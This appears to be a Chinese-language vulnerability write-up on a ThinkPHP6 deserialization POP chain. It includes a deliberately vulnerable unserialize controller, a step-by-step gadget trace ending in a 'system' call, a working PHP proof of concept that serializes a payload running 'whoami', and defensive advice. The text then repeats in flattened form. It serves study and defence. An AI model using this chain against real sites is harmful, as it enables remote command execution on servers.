Thinkphp6高版本反序列化toString新链调试挖掘
字数 1862 2025-08-22 12:23:19

ThinkPHP6 高版本反序列化漏洞分析与利用

漏洞概述

本文详细分析ThinkPHP6框架中存在的反序列化漏洞,该漏洞影响ThinkPHP6.0.12以下版本。攻击者可以通过精心构造的反序列化数据触发框架中的POP链,最终实现任意命令执行。

环境搭建

  1. 安装TP6.0.x版本:
composer create-project topthink/think=6.0.x tp6.0.9
  1. 修改入口文件/app/controller/index.php
<?php
namespace app\controller;

class Index {
    public function index($input = '') {
        echo $input;
        unserialize($input);
    }
}

POP链构建分析

反序列化入口点

在ThinkPHP6中,反序列化的入口点通常从__destruct()__wakeup()方法开始。我们找到的关键类是think\model\Pivot,它是think\Model的子类。

前半链:触发toString

  1. Model类__destruct()方法会调用save()方法:
public function __destruct()
{
    if ($this->lazySave) {
        $this->save();
    }
}
  1. save()方法需要满足以下条件:

    • $this->isEmpty()返回false → $this->data不为空
    • $this->trigger('BeforeWrite')返回true → $this->withEvent为false
    • $this->exists为true → 调用updateData()
  2. updateData()方法

    • 需要$this->force为true → 直接返回$this->data
    • 调用$this->checkAllowFields()
  3. checkAllowFields()方法

    • $this->field$this->schema都为空时,会执行else分支
    • 调用$this->db()方法
  4. db()方法

    • 包含字符串拼接$this->table . $this->suffix
    • $this->table为对象时,会触发其__toString()方法

前半链必要条件

  • $this->data不为空
  • $this->lazySave为true
  • $this->withEvent为false
  • $this->exists为true
  • $this->force为true

后半链:触发RCE

  1. toString()方法位于Conversion trait中:
public function __toString()
{
    return $this->toJson();
}
  1. toJson()方法调用toArray()
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
    return json_encode($this->toArray(), $options);
}
  1. toArray()方法

    • 遍历$this->data的键名
    • $this->visible[$key]存在时,调用getAttr($key)
  2. getAttr()方法

    • 调用getData($name)获取值
    • 最终调用getValue($name, $value, $relation)
  3. getValue()方法的关键利用点:

if (isset($this->withAttr[$fieldName])) {
    $closure = $this->withAttr[$fieldName];
    $value = $closure($value, $this->data);
}
  • $this->withAttr[$fieldName]设置为系统函数名(如system)时,可以实现任意命令执行

后半链必要条件

  • $this->table设置为new think\model\Pivot()
  • $this->data设置为["key"=>"command"](命令参数)
  • $this->visible设置为["key"=>1]
  • $this->withAttr设置为["key"=>"system"](函数名)
  • $this->strict为true

POP链完整流程

  1. __destruct()save()
  2. save()updateData()
  3. updateData()checkAllowFields()
  4. checkAllowFields()db()
  5. db()$this->table . $this->suffix(字符串拼接)
  6. __toString()toJson()
  7. toJson()toArray()
  8. toArray()getAttr()
  9. getAttr()getValue()
  10. getValue() → 执行$this->withAttr中指定的函数

漏洞利用POC

<?php
namespace think\model\concern;

trait Attribute {
    private $data = ['cyz' => 'whoami'];
    private $withAttr = ['cyz' => 'system'];
}

trait ModelEvent {
    protected $withEvent = true;
}

namespace think;

abstract class Model {
    use model\concern\Attribute;
    use model\concern\ModelEvent;
    
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;
    
    function __construct($a = '') {
        $this->exists = true;
        $this->force = true;
        $this->lazySave = true;
        $this->withEvent = false;
        $this->suffix = $a;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model {}

echo urlencode(serialize(new Pivot(new Pivot())));
?>

防御措施

  1. 升级ThinkPHP到6.0.12或更高版本
  2. 避免反序列化用户可控的输入
  3. 使用白名单机制限制反序列化的类

总结

该漏洞通过精心构造的反序列化数据,利用ThinkPHP6框架中的多个魔术方法和特性,构建了一条完整的POP链,最终实现了任意命令执行。理解这条POP链的构建过程对于分析其他PHP框架的反序列化漏洞也有很好的参考价值。

ThinkPHP6 高版本反序列化漏洞分析与利用 漏洞概述 本文详细分析ThinkPHP6框架中存在的反序列化漏洞,该漏洞影响ThinkPHP6.0.12以下版本。攻击者可以通过精心构造的反序列化数据触发框架中的POP链,最终实现任意命令执行。 环境搭建 安装TP6.0.x版本: 修改入口文件 /app/controller/index.php : POP链构建分析 反序列化入口点 在ThinkPHP6中,反序列化的入口点通常从 __destruct() 或 __wakeup() 方法开始。我们找到的关键类是 think\model\Pivot ,它是 think\Model 的子类。 前半链:触发toString Model类 的 __destruct() 方法会调用 save() 方法: save()方法 需要满足以下条件: $this->isEmpty() 返回false → $this->data 不为空 $this->trigger('BeforeWrite') 返回true → $this->withEvent 为false $this->exists 为true → 调用 updateData() updateData()方法 : 需要 $this->force 为true → 直接返回 $this->data 调用 $this->checkAllowFields() checkAllowFields()方法 : 当 $this->field 和 $this->schema 都为空时,会执行else分支 调用 $this->db() 方法 db()方法 : 包含字符串拼接 $this->table . $this->suffix 当 $this->table 为对象时,会触发其 __toString() 方法 前半链必要条件 $this->data 不为空 $this->lazySave 为true $this->withEvent 为false $this->exists 为true $this->force 为true 后半链:触发RCE toString()方法 位于 Conversion trait中: toJson()方法 调用 toArray() : toArray()方法 : 遍历 $this->data 的键名 当 $this->visible[$key] 存在时,调用 getAttr($key) getAttr()方法 : 调用 getData($name) 获取值 最终调用 getValue($name, $value, $relation) getValue()方法 的关键利用点: 当 $this->withAttr[$fieldName] 设置为系统函数名(如 system )时,可以实现任意命令执行 后半链必要条件 $this->table 设置为 new think\model\Pivot() $this->data 设置为 ["key"=>"command"] (命令参数) $this->visible 设置为 ["key"=>1] $this->withAttr 设置为 ["key"=>"system"] (函数名) $this->strict 为true POP链完整流程 __destruct() → save() save() → updateData() updateData() → checkAllowFields() checkAllowFields() → db() db() → $this->table . $this->suffix (字符串拼接) __toString() → toJson() toJson() → toArray() toArray() → getAttr() getAttr() → getValue() getValue() → 执行 $this->withAttr 中指定的函数 漏洞利用POC 防御措施 升级ThinkPHP到6.0.12或更高版本 避免反序列化用户可控的输入 使用白名单机制限制反序列化的类 总结 该漏洞通过精心构造的反序列化数据,利用ThinkPHP6框架中的多个魔术方法和特性,构建了一条完整的POP链,最终实现了任意命令执行。理解这条POP链的构建过程对于分析其他PHP框架的反序列化漏洞也有很好的参考价值。